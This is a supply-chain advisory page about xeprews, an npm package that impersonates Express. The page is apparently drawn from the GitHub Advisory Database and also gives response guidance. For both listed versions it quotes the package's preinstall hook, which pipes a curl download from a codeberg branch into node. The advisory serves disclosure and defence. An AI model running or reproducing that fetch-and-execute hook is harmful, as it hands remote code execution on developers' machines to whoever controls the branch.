supply chain event / NVI-00009870 / Revision 1
Malicious code in xeprews (npm)
GitHub lists this malware advisory for xeprews, xeprews. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
xeprews
source listed= 5.2.1
## Source: amazon-inspector (17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2) xeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at `npm install` time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer. --- Credit: OpenSSF (source)
xeprews
source listed= 5.2.2
## Source: amazon-inspector (17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2) xeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at `npm install` time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer. --- Credit: OpenSSF (source)
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-v76j-vqp4-68j8 ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.